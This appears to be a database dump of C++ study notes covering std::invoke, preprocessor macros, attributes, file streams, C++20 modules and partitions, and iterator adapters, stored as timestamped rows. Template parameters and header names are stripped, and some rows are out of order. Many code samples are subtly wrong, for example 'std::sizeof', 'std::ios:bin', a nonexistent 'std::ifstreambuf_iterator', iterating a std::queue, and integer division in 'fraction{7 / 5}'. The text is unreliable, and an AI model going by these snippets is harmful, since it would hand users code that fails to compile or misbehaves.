2024-07-28 10:04:40.868077 -3378 800 // data members\n int r3 = std::invoke(&base::x, object); text txt 2024-07-28 10:04:40.889102 -3379 800 // function objects\n int r4 = std::invoke(std::plus<>(), std::invoke(&base::x, object), 3); text txt 2024-07-28 10:04:40.910307 -3380 800 // lambda expressions\n auto lambda = [](auto a, auto b) { return a + b; }\n int r5 = std::invoke(lambda, 1, 2);\n} code txt 2024-07-28 10:04:40.931323 -3381 801 #include \n#include text txt 2024-07-28 10:04:42.116862 -3382 801 namespace details\n{\n template\n auto apply(F&& callable, T&& parameter, std::index_sequence)\n {\n return std::invoke(std::forward(callable), std::get(std::forward

(paramter))...);\n }\n} text txt 2024-07-28 10:04:42.138321 -3383 801 template\nauto apply(F&& callable, P&& parameter)\n{\n return details::apply(std::forward(callable), std::forward

(parameter), std::make_index_sequence>>{});\n} text txt 2024-07-28 10:04:42.158435 -3384 801 int add(int const a, int const b) { return a + b; } text txt 2024-07-28 10:04:42.178181 -3385 801 struct base\n{\n int x = 0; text txt 2024-07-28 10:04:42.198605 -3386 801 void add(int const n) { x += n; }\n}; text txt 2024-07-28 10:04:42.218708 -3387 801 int main()\n{\n // direct call\n int r1 = add(1, 2); text txt 2024-07-28 10:04:42.238389 -3388 801 // call through function pointer\n int(*fadd)(int const, int const) = &add;\n int r2 = fadd(1, 2); text txt 2024-07-28 10:04:42.259234 -3389 801 // direct member function call\n base object;\n object.add(3);\n int r3 = object.x; text txt 2024-07-28 10:04:42.279452 -3390 801 // member function call through function pointer\n void(base::*fadd)(int const) = &base::add;\n (object.*fadd)(3);\n int r4 = object.x;\n} code txt 2024-07-28 10:04:42.299647 -3391 802 #if !defined(HEADER_NAME)\n#define HEADER_NAME\n/* ... */\n#endif code txt 2024-07-28 10:04:42.589063 -3392 803 #include text txt 2024-07-28 10:04:43.063399 -3393 803 void show_compiler()\n{\n#if defined _MSC_VER_\n std::cout << "Visual C++\\\\n";\n#elif defined __clang__\n std::cout << "Clang\\\\n";\n#elif defined __GNUG__\n std::cout << "GCC\\\\n";\n#else\n std::cout << "Unknown compiler\\\\n";\n#endif\n} code txt 2024-07-28 10:04:43.083954 -3394 804 void show_architecture()\n{\n#if defined _MSC_VER text txt 2024-07-28 10:04:43.948745 -3395 804 #if defined _M_X64\n std::cout << "AMD64\\\\n";\n#elif defined _M_IX86\n std::cout << "INTEL x86\\\\n";\n#elif defined _M_ARM\n std::cout << "ARM\\\\n";\n#else\n std::cout << "unknown\\\\n";\n#endif text txt 2024-07-28 10:04:43.970519 -3396 804 #elif defined __clang__ || __GNUG__ text txt 2024-07-28 10:04:43.990706 -3397 804 #if defined __amd64__\n std::cout << "AMD64\\\\n";\n#elif defined __i386__\n std::cout << "INTEL x86\\\\n";\n#elif defined __arm__\n std::cout << "ARM\\\\n";\n#else\n std::cout << "unknown\\\\n";\n#endif text txt 2024-07-28 10:04:44.011796 -3398 804 #else\n #error Unknown compiler\n#endif\n} code txt 2024-07-28 10:04:44.032394 -3399 805 void show_configuration()\n{\n#ifdef _DEBUG\n std::cout << "debug\\\\n";\n#else\n std::cout << "release\\\\n";\n#endif\n} code txt 2024-07-28 10:04:44.385243 -3400 806 #define MAKE_STR2(x) #x text txt 2024-07-28 10:04:44.679138 -3401 806 #define MAKE_STR(x) MAKE_STR2(x) code txt 2024-07-28 10:04:44.699254 -3402 807 #define MERGE2(x, y) x##y text txt 2024-07-28 10:04:44.957678 -3403 807 #define MERGE(x, y) MERGE2(x, y) code txt 2024-07-28 10:04:44.978617 -3404 808 struct alignas(8) item\n{\n int id;\n bool active;\n double value;\n}; text txt 2024-07-28 10:04:45.367488 -3405 808 static_assert(sizeof(item) == 16, "size of item must be 16 bytes"); code txt 2024-07-28 10:04:45.388825 -3406 809 template\nclass pod_wrapper\n{\n static_assert(std::is_standard_layout_v, "POD type expected!");\n T value;\n}; text txt 2024-07-28 10:04:45.965597 -3407 809 struct point\n{\n int x;\n int y;\n}; text txt 2024-07-28 10:04:45.985719 -3408 809 pod_wrapper w1; // OK\npod_wrapper w2; // OK\npod_wrapper w3; // error: POD type expected code txt 2024-07-28 10:04:46.007265 -3409 810 template, T>>\nclass pod_wrapper\n{\n T value;\n}; text txt 2024-07-28 10:04:46.751234 -3410 810 struct point\n{\n int x;\n int y;\n}; text txt 2024-07-28 10:04:46.772598 -3411 810 pod_wrapper w1; // OK\npod_wrapper w2; // OK\npod_wrapper w3; // error: too few template arguments text txt 2024-07-28 10:04:46.793268 -3412 810 template, T>>\nauto mul(T const a, T const b)\n{\n return a * b;\n} text txt 2024-07-28 10:04:46.814119 -3413 810 auto v1 = mul(1, 2); // OK\nauto v2 = mul(1.0, 2.0); // error: no matching overloaded function found code txt 2024-07-28 10:04:46.834699 -3414 811 // using SFINAE\ntemplate, T>>\nauto value_of(T value) { return *value; } text txt 2024-07-28 10:04:47.783428 -3415 811 template, T>>\nT value_of(T value) { return value; } text txt 2024-07-28 10:04:47.804333 -3416 811 // simplified by if constexpr\ntemplate\nauto value_of(T value)\n{\n if constexpr (std::is_pointer_v)\n return *value;\n else\n return value;\n} code txt 2024-07-28 10:04:47.825422 -3417 811 template\nconstexpr CharT binary_eval()\n{\n if constexpr(sizeof...(bits) == 0)\n return static_cast(d-'0');\n else if constexpr(d == '0')\n return binary_eval();\n else if constexpr(d == '1')\n return static_cast((1 << sizeof...(bits)) | binary_eval());\n} text txt 2024-07-28 10:04:47.846905 -3418 811 template\nconstexpr byte8 operator""_b8()\n{\n static_assert(sizeof...(bits) <= 8, "binary literal b8 must be up to 8 digits long");\n return binary_eval();\n} code txt 2024-07-28 10:04:47.867047 -3419 812 [[nodiscard]] int get_value() { return 42; } text txt 2024-07-28 10:04:48.120397 -3420 812 get_value(); // warning code txt 2024-07-28 10:04:48.142293 -3421 813 enum class [[nodiscard]] ReturnCodes{ OK, NoData, Error }; text txt 2024-07-28 10:04:48.519012 -3422 813 ReturnCodes get_error() { return ReturnCodes::OK; } text txt 2024-07-28 10:04:48.538625 -3423 813 struct [[nodiscard]] Item{}; text txt 2024-07-28 10:04:48.559983 -3424 813 Item get_item() { return Item{}; } code txt 2024-07-28 10:04:48.579593 -3425 814 [[deprecated("Use func2()")]] void func() { } text txt 2024-07-28 10:04:49.047824 -3426 814 // warning: 'func' is deprecated : Use func2()\nfunc(); text txt 2024-07-28 10:04:49.069203 -3427 814 class [[deprecated]] foo\n{\n}; text txt 2024-07-28 10:04:49.089563 -3428 814 // warning: 'foo' is deprecated\nfoo f; code txt 2024-07-28 10:04:49.109695 -3429 815 double run([[maybe_unused]] int a, double b)\n{\n return 2 * b;\n} text txt 2024-07-28 10:04:49.426172 -3430 815 [[maybe_unused]] auto i = get_value1(); code txt 2024-07-28 10:04:49.446318 -3431 816 void option1() {}\nvoid option2() {} text txt 2024-07-28 10:04:49.924248 -3432 816 int alternative = get_value(); text txt 2024-07-28 10:04:49.944934 -3433 816 switch (alternative)\n{\n case 1:\n option1();\n [[fallthrough]]; // this is intentional\n case 2:\n option2();\n} code txt 2024-07-28 10:04:49.965213 -3434 817 void execute_command(char cmd)\n{\n switch(cmd)\n {\n [[likely]] case 'a': /* add */ break;\n [[unlikely]] case 'd': /* delete */ break;\n case 'p': /* print */ break;\n default: /* do something else */ break;\n }\n} code txt 2024-07-28 10:04:50.375162 -3435 818 #include text txt 2024-07-28 10:04:50.885555 -3537 839 import :core; text txt 2024-07-28 10:05:06.165703 -3436 818 int main()\n{\n int data{0};\n std::ofstream file("/tmp/sample.txt"); text txt 2024-07-28 10:04:50.906768 -3437 818 if (file.is_open())\n {\n file.write(data);\n } text txt 2024-07-28 10:04:50.927525 -3438 818 file.close();\n} code txt 2024-07-28 10:04:50.949841 -3439 819 #include text txt 2024-07-28 10:04:51.472381 -3440 819 int main()\n{\n int data{0};\n std::ofstream file("/tmp/sample.txt", std::ios::app); text txt 2024-07-28 10:04:51.492941 -3441 819 if (file.is_open())\n {\n file.write(data);\n } text txt 2024-07-28 10:04:51.514638 -3442 819 file.close();\n} code txt 2024-07-28 10:04:51.534526 -3443 820 #include text txt 2024-07-28 10:04:51.997291 -3444 820 int main()\n{\n int data{0};\n std::ofstream file("/tmp/sample.bin", std::ios::binary); text txt 2024-07-28 10:04:52.01828 -3445 820 if (file.is_open())\n {\n file.write(std::reinterpret_cast(data));\n } text txt 2024-07-28 10:04:52.039633 -3446 820 file.close();\n} code txt 2024-07-28 10:04:52.061519 -3447 821 #include \n#include text txt 2024-07-28 10:04:52.545322 -3448 821 int main()\n{\n std::vector data{1,2,3};\n std::ofstream file("/tmp/sample.bin", std::ios::out | std::ios:bin); text txt 2024-07-28 10:04:52.566219 -3449 821 if (file.is_open())\n {\n file.write(std::reinterpret_cast(&data), data.size());\n } text txt 2024-07-28 10:04:52.587128 -3450 821 file.close();\n} code txt 2024-07-28 10:04:52.608174 -3451 822 #include text txt 2024-07-28 10:04:53.315798 -3452 822 int main()\n{\n std::ifstream file("/tmp/sample.txt"); text txt 2024-07-28 10:04:53.336426 -3453 822 if (file.is_open())\n {\n file.seekg(0, std::ios_base::end);\n std::size_t length = file.tellg();\n file.seekg(0, std::ios_base::beg); text txt 2024-07-28 10:04:53.358551 -3454 822 file.close();\n } text txt 2024-07-28 10:04:53.378869 -3455 822 file.open("/tmp/sample.txt", std::ios::ate); text txt 2024-07-28 10:04:53.398657 -3456 822 if (file.is_open())\n {\n std::size_t length = file.tellg();\n file.seekg(0, std::ios_base::beg); text txt 2024-07-28 10:04:53.419578 -3457 822 file.close();\n }\n} code txt 2024-07-28 10:04:53.438984 -3458 823 #include \n#include text txt 2024-07-28 10:04:54.085545 -3459 823 int main()\n{\n std::ifstream file("/tmp/sample.txt", std::ios::in); text txt 2024-07-28 10:04:54.106824 -3460 823 if (file.is_open())\n {\n file.seekg(0, std::ios_base::end);\n std::size_t length = file.tellg();\n file.seekg(0, std::ios_base::beg); text txt 2024-07-28 10:04:54.129209 -3461 823 std::vector buffer;\n buffer.resize(length);\n file.read(reinterpret_cast(buffer.data(), length); text txt 2024-07-28 10:04:54.152085 -3462 823 if (!file.fail() || file.gcount() == length)\n std::cerr << "complete\\\\n"; text txt 2024-07-28 10:04:54.174051 -3463 823 file.close();\n }\n} code txt 2024-07-28 10:04:54.194739 -3464 824 typedef basic_ifstream ifstream;\ntypedef basic_ifstream wifstream;\ntypedef basic_ofstream ofstream;\ntypedef basic_ofstream wofstream;\ntypedef basic_fstream fstream;\ntypedef basic_fstream wfstream; code txt 2024-07-28 10:04:54.537982 -3465 825 All constructors except default constructor, call `open()` internally text txt 2024-07-28 10:04:54.876968 -3466 825 std::basic_fstream(const char*, std::ios_base::openmode);\nstd::basic_fstream(std::string const&, std::ios_base::openmode);\nstd::basic_fstream(std::filesystem::path::value_type const*, std::ios_base::openmode);\ntemplate std::basic_fstream(Path const&, sdt::ios_base::openmode); code txt 2024-07-28 10:04:54.898252 -3467 826 * `std::ios_base::app`\n* `std::ios_base::binary`\n* `std::ios_base::in`\n* `std::ios_base::out`\n* `std::ios_base::trunc`\n* `std::ios_base::ate` text txt 2024-07-28 10:04:55.212181 -3468 827 #include text txt 2024-07-28 10:04:55.809739 -3469 827 int main()\n{\n double buffer;\n std::ifstream file("/tmp/sample.txt"); text txt 2024-07-28 10:04:55.831116 -3470 827 if (file.is_open())\n {\n file.read(reinterpret_cast(buffer), std::sizeof(buffer)); text txt 2024-07-28 10:04:55.851641 -3471 827 if (file.gcount == std::sizeof(buffer))\n std::clog << "successfully read\\\\n";\n else\n std::clog << "failed to read completely\\\\n"; text txt 2024-07-28 10:04:55.873657 -3472 827 file.close();\n }\n} code txt 2024-07-28 10:04:55.894886 -3473 828 #include \n#include text txt 2024-07-28 10:04:56.550328 -3474 828 int main()\n{\n std::string content{"this is a sample content"};\n std::ofstream file("/tmp/sample.txt", std::ios::out); text txt 2024-07-28 10:04:56.571516 -3475 828 try {\n if (file.is_open())\n {\n file.write(content);\n file.close();\n }\n }\n catch (std::ios_base::failure const& exp)\n {\n std::cerr << exp.what() << std::endl;\n }\n} code txt 2024-07-28 10:04:56.593005 -3476 829 #include \n#include \n#include text txt 2024-07-28 10:04:57.103578 -3477 829 int main()\n{\n std::vector buffer;\n std::ifstream file("/tmp/sample.txt", std::ios::in); text txt 2024-07-28 10:04:57.124809 -3478 829 if (file.is_open())\n {\n buffer = std::vector(std::istreambuf_iterator(file), std::ifstreambuf_iterator());\n file.close();\n }\n} code txt 2024-07-28 10:04:57.145902 -3479 830 #include \n#include text txt 2024-07-28 10:04:57.726209 -3480 830 int main()\n{\n std::vector buffer;\n std::ifstream file("/tmp/sample.txt", std::ios::in | std::ios::ate); text txt 2024-07-28 10:04:57.745947 -3481 830 if (file.is_open())\n {\n std::size_t length = file.tellg();\n file.seekg(0, std::ios_base::beg); text txt 2024-07-28 10:04:57.766281 -3482 830 buffer.reserve(length);\n buffer.assign(std::ifstreambuf_iterator(file), std::ifstreambuf_iterator());\n file.close();\n }\n} code txt 2024-07-28 10:04:57.786487 -3483 831 #include \n#include \n#include \n#include text txt 2024-07-28 10:04:58.397808 -3484 831 int main()\n{\n std::vector buffer;\n std::ifstream file("/tmp/sample.txt", std::ios::in | std::ios::ate); text txt 2024-07-28 10:04:58.419655 -3485 831 if (file.is_open())\n {\n std::size_t length = file.tellg();\n file.seekg(0, std::ios_base::beg); text txt 2024-07-28 10:04:58.441599 -3486 831 buffer.reserve(length);\n std::copy(std::ifstreambuf_iterator(file), std::ifstreambuf_iterator(), std::back_inserter(buffer));\n file.close();\n }\n} code txt 2024-07-28 10:04:58.4624 -3487 832 - Modules are only imported once and the order they're imported in does not matter.\n- Modules do not require splitting interfaces and implementation in different source files, although this is still possible.\n- Modules reduce compilation time. The entities exported from a module are described in a binary file that the compiler can process faster than traditional precompiled headers.\n- Exported files can potentially be used to build integrations with C++ code from other languages. text txt 2024-07-28 10:04:58.740238 -3548 839 constexpr double power{fraction * fraction}; code txt 2024-07-28 10:05:06.394594 -3489 833 int main()\n{\n std::cout << std::format("{}\\\\n", "modules are working");\n} code txt 2024-07-28 10:04:59.197554 -3490 833 Headers can also be imported: text txt 2024-07-28 10:04:59.218315 -3491 833 import std;\nimport "geometry.hpp" code txt 2024-07-28 10:04:59.241193 -3492 834 Export a module by creating a **Module Interface Unit (MIU)** that can\ncontain functions, types, constants, and even macros. text txt 2024-07-28 10:05:00.248075 -3493 834 module; // global module fragment text txt 2024-07-28 10:05:00.267079 -3494 834 #define X\n#include "code.h" text txt 2024-07-28 10:05:00.287024 -3495 834 export module geometry; // module declaration text txt 2024-07-28 10:05:00.307286 -3496 834 import std; // module preamble text txt 2024-07-28 10:05:00.32832 -3497 834 // module purview text txt 2024-07-28 10:05:00.349314 -3498 834 export template, T>>\nstruct point\n{\n T x;\n T y;\n}; text txt 2024-07-28 10:05:00.370374 -3499 834 export using int_point = point; text txt 2024-07-28 10:05:00.391676 -3500 834 export constexpr int_point int_point_zero{0, 0}; text txt 2024-07-28 10:05:00.412628 -3501 834 export template\ndouble distance(point const& p1, point const& p2)\n{\n return std::sqrt((p2.x - p1.x) * (p2.x - p1.x) + (p2.y - p1.y) * (p2.y - p1.y));\n} code txt 2024-07-28 10:05:00.433656 -3502 834 import std;\nimport geometry; text txt 2024-07-28 10:05:00.454562 -3503 834 int main()\n{\n int_point p{3, 4};\n std::cout << distance(int_point_zero, p) << std::endl;\n} code txt 2024-07-28 10:05:00.475832 -3504 835 - The **global module fragment**, introduced with a `module;` statement. This\n part is optional and, if present, may only contain preprocessor directives.\n Everything that is added here is said to belong to the *global module*,\n which is the collection of all the global module fragments and all\n translation units that are not modules. text txt 2024-07-28 10:05:00.851142 -3505 835 - The **module declaration**, which is a required statement of the form\n `export module name;`.\n- The **module preamble**, which is optional, and may only contain import\n declarations.\n- The **module purview**, which is the content of the unit, starting with the\n module declaration and extending to the end of the module unit. text txt 2024-07-28 10:05:00.874252 -3506 836 The source code of a module may become large and difficult to maintain.\nMoreover, a module may be composed of logically separate parts. To help with\nscenarios like that, modules support composition from parts called\n**partitions**. text txt 2024-07-28 10:05:01.196868 -3507 836 Although module partitions are distinct files, they are not available as\nseparate modules or submodules to translation units using a module. They are\nexported together as a single, aggregated module. text txt 2024-07-28 10:05:01.217851 -3508 837 A module unit that is a partition that exports entities is called a **module\ninterface partition**. text txt 2024-07-28 10:05:02.685231 -3509 837 Here the `geometry-core.cppm` and `geometry-literals.cppm` are internal partitions. text txt 2024-07-28 10:05:02.707305 -3510 837 *geometry-core.cppm*\nexport module geometry:core; text txt 2024-07-28 10:05:02.728462 -3511 837 import std.core; text txt 2024-07-28 10:05:02.750588 -3512 837 export template, T>>\nstruct point\n{\n T x;\n T y;\n}; code txt 2024-07-28 10:05:02.771462 -3513 837 *geometry-literals.cppm*\nexport module geometry.literals; text txt 2024-07-28 10:05:02.791709 -3514 837 import std.core; text txt 2024-07-28 10:05:02.811889 -3515 837 namespace geometry_literals\n{\n export point operator ""_p(const char* ptr, std::size_t const size)\n {\n int x{}, y{};\n ...\n return {x , y};\n }\n} code txt 2024-07-28 10:05:02.832633 -3516 837 In the primary module interface unit, import and then export the partitions\nwith statements of the form `export import :partitionname`. text txt 2024-07-28 10:05:02.853873 -3517 837 *geometry.cppm*\nexport module geometry; text txt 2024-07-28 10:05:02.875296 -3518 837 export import :core;\nexport import :literals; code txt 2024-07-28 10:05:02.894678 -3519 837 The code importing a module composed from multiple partitions only sees the\nmodule as a whole if it was built from a single module unit: text txt 2024-07-28 10:05:02.916031 -3520 837 import std.core;\nimport geometry; text txt 2024-07-28 10:05:02.93598 -3521 837 int main()\n{\n point p{4, 2}; text txt 2024-07-28 10:05:02.956206 -3522 837 {\n using namespace geometry_literals;\n point origin{"0,0"_p};\n }\n} code txt 2024-07-28 10:05:02.978564 -3523 838 Apart from *module interface partition*, there could also be internal\npartitions that do not export anything. Such partition unit is called a\n**module implementation partition**. text txt 2024-07-28 10:05:03.987289 -3524 838 It is possible to create internal partitions that do not export anything, but\ncontain code that can be used in the same module. text txt 2024-07-28 10:05:04.007724 -3525 838 modulename:partitionname;`. text txt 2024-07-28 10:05:04.027944 -3526 838 *geometry-details.cppm*\nmodule geometry:details; text txt 2024-07-28 10:05:04.049023 -3527 838 import std.core; text txt 2024-07-28 10:05:04.069346 -3528 838 std::pair split(char const* ptr, std::size_t const size)\n{\n int x{}, y{};\n ...\n return {x, y};\n} code txt 2024-07-28 10:05:04.091518 -3529 838 *geometry-literals.cppm*\nexport module geometry:literals; text txt 2024-07-28 10:05:04.111753 -3530 838 import :core;\nimport :details; text txt 2024-07-28 10:05:04.132399 -3531 838 namespace geometry_literals\n{\n export point operator ""_p(const char* ptr, std::size_t size)\n {\n auto [x, y] = split(ptr, size);\n return {x, y};\n }\n} code txt 2024-07-28 10:05:04.153749 -3532 839 Partitions are division of a module. However, they are not submodules. They\ndo not logically exist outside of the module. There is no concept of a\nsubmodule in the C++ language. text txt 2024-07-28 10:05:06.06292 -3533 839 This snippet uses module interface partition and module implementation partition. text txt 2024-07-28 10:05:06.083142 -3534 839 *sample-core.cppm*\nexport module sample:core; text txt 2024-07-28 10:05:06.104583 -3535 839 export constexpr double fraction{7 / 5}; code txt 2024-07-28 10:05:06.124644 -3536 839 *sample-details.cppm*\nmodule sample:details; text txt 2024-07-28 10:05:06.145393 -3538 839 constexpr double power{fraction * fraction}; code txt 2024-07-28 10:05:06.186225 -3539 839 *sample.cppm*\nexport module sample; text txt 2024-07-28 10:05:06.208552 -3540 839 export import :core; code txt 2024-07-28 10:05:06.228601 -3541 839 *consumer.cpp*\nimport std.core;\nimport sample; text txt 2024-07-28 10:05:06.249469 -3542 839 std::cout << power << "\\\\n"; code txt 2024-07-28 10:05:06.269004 -3543 839 Next snippet is the same implementation but with modules instead of partitions: text txt 2024-07-28 10:05:06.289464 -3544 839 *sample-core.cppm*\nexport module sample.core; text txt 2024-07-28 10:05:06.311174 -3545 839 export constexpr double fraction{7 / 5}; code txt 2024-07-28 10:05:06.331077 -3546 839 *sample-details.cppm*\nmodule sample.details; text txt 2024-07-28 10:05:06.352002 -3547 839 import sample.core; text txt 2024-07-28 10:05:06.371506 -3558 840 code txt 2024-07-28 10:05:06.787821 -3549 839 *sample.cppm*\nexport module sample; text txt 2024-07-28 10:05:06.414915 -3550 839 export import sample.core; code txt 2024-07-28 10:05:06.435067 -3551 839 *consumer.cpp*\nimport std.core;\nimport sample; text txt 2024-07-28 10:05:06.455441 -3552 839 std::cout << power << "\\\\n"; code txt 2024-07-28 10:05:06.47741 -3553 839 So far, we have two modules: `sample.core` and `sample`. Here `sample`\nimports and then re-exports the entire content of `sample.core`. Because of\nthis, the core in the `consumer.cpp` does not need to change. By solely\nimporting the `sample` module, we get access to the content of the\n`sample.core` module. text txt 2024-07-28 10:05:06.498986 -3554 839 However, if we do not define the `sample` module anymore, then we need to explicitly import `sample.core` module: text txt 2024-07-28 10:05:06.519829 -3555 839 *consumer.cpp*\nimport std.core;\nimport sample.core; text txt 2024-07-28 10:05:06.540011 -3556 839 std::cout << power << "\\\\n"; code txt 2024-07-28 10:05:06.56017 -3557 839 Choosing between using partitions or multiple modules for componentizing your\nsource code should depend on the particularities of your project. If you use\nmultiple smaller modules, you provide better granularity for imports. This\ncan be important if you're developing a large library because users should\nonly import things they use. text txt 2024-07-28 10:05:06.582148 -3559 841 |Iterator Category|Operations Required|\n|---|---|\n|Input Iterator|Read-only access: `operator*` `operator->`
forward only: `operator++`
assignable: `operator=`
copyable
comparable for equality: `operator==` `operator!=`|\n|Output Iterator|Read-only access: `operator*` (no `operator->` access)
forward only: `operator++`
assignable: `operator=`
copyable
no comparability supported|\n|Forward Iterator|Input Iterator capability
default constructor|\n|Bidirectional Iterator|Forward Iterator capability
bidirectional `operator++` `operator--`|\n|Random Access Iterator|Bidirectional Iterator capability
assignable: `operator=` `operator+=` `operator-=`
arithmetic: `operator+` `operator-`
copyable
comparable `operator==` `operator!=` `operator>` `operator<` `operator<=` `operator>=`
element-wise access `operator[]`|\n|Contiguous Iterator|Random access capability
logically adjacent elements of the container must be physically adjacent in memory| text txt 2024-07-28 10:05:07.358292 -3560 842 Every data structure of the Standard Library that supports iterators provides\npublic type aliases for its iterator type, called `iterator` and\n`const_iterator`. text txt 2024-07-28 10:05:07.765472 -3561 842 Containers that allow iteration over their elements in reverse order also\nprovide public type aliases called `reverse_iterator` and\n`const_reverse_iterator`. text txt 2024-07-28 10:05:07.786487 -3562 842 std::vector::const_reverse_iterator cr_iter;\nstd::vector::const_iterator c_iter;\nstd::vector::iterator iter; code txt 2024-07-28 10:05:07.807194 -3563 843 `` provides the following global nonmember functions to retrieve\nspecific iterators for a container: text txt 2024-07-28 10:05:08.178077 -3564 843 - `std::begin()` and `std::end()`\n- `std::rbegin()` and `std::rend()`\n- `std::cbegin()` and `std::cend()`\n- `std::crbegin()` and `std::crend()` text txt 2024-07-28 10:05:08.200328 -3565 843 These functions are also supported by standard data structures. text txt 2024-07-28 10:05:08.221212 -3566 844 When a function is called without its namespace qualification like `std::` ,\nit is said that the so called *argument dependent lookups* (ADL) is supported\nfor this function. text txt 2024-07-28 10:05:08.638698 -3567 844 #include \n#include text txt 2024-07-28 10:05:08.659357 -3568 844 std::vector scalar{1,2,3,4};\nauto iter = begin(scalar);\n// compiler deduces std::vector::iterator due argument type code txt 2024-07-28 10:05:08.679791 -3569 845 When you specialize a nonmember function for your own type, you can either\nput those specializations in the `std` namespace or put them in the same\nnamespace as the type for which you are specializing them. The latter is\nrecommended as this enables ADL. text txt 2024-07-28 10:05:08.994189 -3571 846 #include text txt 2024-07-28 10:05:09.304267 -3572 846 std::vector v;\nauto element_count = std::distance(std::begin(v), std::end(v)); code txt 2024-07-28 10:05:09.325322 -3573 847 Standard provides a class template called `iterator_traits`, defined in\n``, that allows you to find the type of the elements referred to by\nthe iterator to store temporary values, or to figure out whether the iterator\nis bidirectional or random access. text txt 2024-07-28 10:05:10.127255 -3574 847 To access to this information, instantiate `iterator_traits` class template\nwith the iterator type of interest, and access one of five type aliases: text txt 2024-07-28 10:05:10.148934 -3575 847 - `value_type`: The type of elements referred to\n- `difference_type`: A type capable of representing the distance\n- `iterator_category` (c++20): The type of iterator\n + `input_iterator_tag`\n + `output_iterator_tag`\n + `forward_iterator_tag`\n + `bidirectional_iterator_tag`\n + `random_access_iterator_tag`\n + `contiguous_iterator_tag`\n- `pointer`: The type of pointer to an element\n- `reference`: The type of reference to an element text txt 2024-07-28 10:05:10.170041 -3576 847 template\nvoid print_value(IteratorType it)\n{\n typename iterator_traits::value_type temp;\n temp = *it;\n std::cout << temp << std::endl;\n} text txt 2024-07-28 10:05:10.191603 -3577 847 std::vector v{42};\nprint_value(std::cbegin(v)); code txt 2024-07-28 10:05:10.211936 -3578 848 The standard library provides four stream iterators: text txt 2024-07-28 10:05:10.521519 -3579 848 - `std::istream_iterator`\n- `std::ostream_iterator`\n- `std::istreambuf_iterator`\n- `std::ostreambuf_iterator` text txt 2024-07-28 10:05:10.543128 -3580 849 #include \n#include text txt 2024-07-28 10:05:11.097827 -3581 849 template\nvoid copy(InputIterator begin, InputIterator end, OutputIterator target)\n{\n for (auto iter = begin; iter != end; ++iter, ++target)\n {\n *target = *iter;\n }\n} text txt 2024-07-28 10:05:11.119169 -3582 849 std::vector v{1,2,3,4};\nstd::vector copy(v.size());\ncopy(std::begin(v), std::end(v), std::begin(copy));\ncopy(std::begin(v), std::end(v), std::ostream_iterator{std::cout, " "}); code txt 2024-07-28 10:05:11.140132 -3583 850 #include \n#include text txt 2024-07-28 10:05:11.69569 -3584 850 template\nauto get_input(InputIterator begin, InputIterator end)\n{\n std::vector::value_type> results; text txt 2024-07-28 10:05:11.715703 -3585 850 for (auto iter = begin; iter != end; ++iter)\n {\n results.push_back(*iter);\n } text txt 2024-07-28 10:05:11.73664 -3586 850 return results;\n} text txt 2024-07-28 10:05:11.756271 -3587 850 std::vector inputs = get_input(std::istream_iterator{std::cin}, std::istream_iterator{}); code txt 2024-07-28 10:05:11.775912 -3588 851 The standard library provides five iterator adapters. text txt 2024-07-28 10:05:12.308301 -3589 851 The first group of adapters are created from a container and are usually used\nas output iterators: text txt 2024-07-28 10:05:12.328504 -3694 889 template\nusing vector = std::vector>; text txt 2024-07-28 10:05:31.237718 -3590 851 - `std::back_insert_iterator`: Uses `push_back()` to insert elements into a\n container\n- `std::front_insert_iterator`: Uses `push_front()` to insert elements into a\n container\n- `std::insert_iterator`: Uses `insert()` to insert elements into a container text txt 2024-07-28 10:05:12.348679 -3591 851 The second group of adapters are created from another iterator, not a\ncontainer, and are usually used as input iterators: text txt 2024-07-28 10:05:12.369507 -3592 851 - `reverse_iterator`: reverse the iteration order of another iterator\n- `move_iterator`: the dereferencing operator for a `move_iterator`\n automatically converts the value to an rvalue reference, so it can be moved\n to a new destination. text txt 2024-07-28 10:05:12.390581 -3593 852 #include \n#include \n#include text txt 2024-07-28 10:05:12.992316 -3594 852 std::vector v{1.1, 2.2, 3.3, 4.4, 5.5};\nstd::vector copy_v;\nstd::back_insert_iterator> populate_v{copy_v};\nstd::copy(std::begin(v), std::end(v), populate_v); code txt 2024-07-28 10:05:13.013473 -3595 852 You can also use `std::back_inserter()` utility function to create a `std::back_insert_iterator`. text txt 2024-07-28 10:05:13.033232 -3596 852 std::copy(std::begin(v), std::end(v), std::back_inserter(copy_v)); code txt 2024-07-28 10:05:13.054318 -3597 852 With class template argument deduction (CTAD), this can also be written as follows: text txt 2024-07-28 10:05:13.0752 -3598 852 std::copy(std::begin(v), std::end(v), std::back_insert_iterator{copy_v}); code txt 2024-07-28 10:05:13.096078 -3599 853 #include \n#include \n#include text txt 2024-07-28 10:05:13.722634 -3600 853 std::queue q{1.1, 2.2, 3.3, 4.4, 5.5};\nstd::queue copy_q;\nstd::front_insert_iterator> populate_q{copy_q};\nstd::copy(std::begin(q), std::end(q), populate_q); code txt 2024-07-28 10:05:13.744124 -3601 853 You can also use `std::front_inserter()` utility function to create a `std::front_insert_iterator`. text txt 2024-07-28 10:05:13.765202 -3602 853 std::copy(std::begin(q), std::end(q), std::front_inserter(copy_q)); code txt 2024-07-28 10:05:13.785793 -3603 853 With class template argument deduction (CTAD), this can also be written as follows: text txt 2024-07-28 10:05:13.806888 -3604 853 std::copy(std::begin(q), std::end(q), std::front_insert_iterator{copy_q}); code txt 2024-07-28 10:05:13.82778 -3605 854 `std::insert_iterator` works similarly, except that the it also takes an\ninitial iterator position in its constructor, which it passes to the first\ncall to `std::insert(position, element)`. text txt 2024-07-28 10:05:14.596806 -3606 854 #include \n#include \n#include text txt 2024-07-28 10:05:14.618702 -3607 854 std::set s{1.1, 2.2, 3.3, 4.4, 5.5};\nstd::set copy_s;\nstd::insert_iterator> populate_s{copy_s, std::begin(copy_s)};\nstd::copy(std::begin(s), std::end(s), populate_s); code txt 2024-07-28 10:05:14.6396 -3608 854 The `std::insert_iterator` modifies the iterator hint that it passes to\n`insert()` after each call to `insert()`, such that the position is one past\nthe just inserted element. text txt 2024-07-28 10:05:14.660736 -3609 854 You can also use `std::inserter()` utility function to create a\n`std::insert_iterator`. text txt 2024-07-28 10:05:14.682286 -3610 854 std::copy(std::begin(s), std::end(s), std::inserter(copy_s, std::begin(copy_s))); code txt 2024-07-28 10:05:14.702931 -3611 854 With class template argument deduction (CTAD), this can also be written as\nfollows: text txt 2024-07-28 10:05:14.725039 -3612 854 std::copy(std::begin(s), std::end(s), std::insert_iterator{copy_s, std::begin(copy_s)}); code txt 2024-07-28 10:05:14.746567 -3613 855 The standard library provides an `std::reverse_iterator` class template that\niterates through bidirectional or random-access iterator in a reverse\ndirection. text txt 2024-07-28 10:05:15.132764 -3614 855 An `std::reverse_iterator` is useful 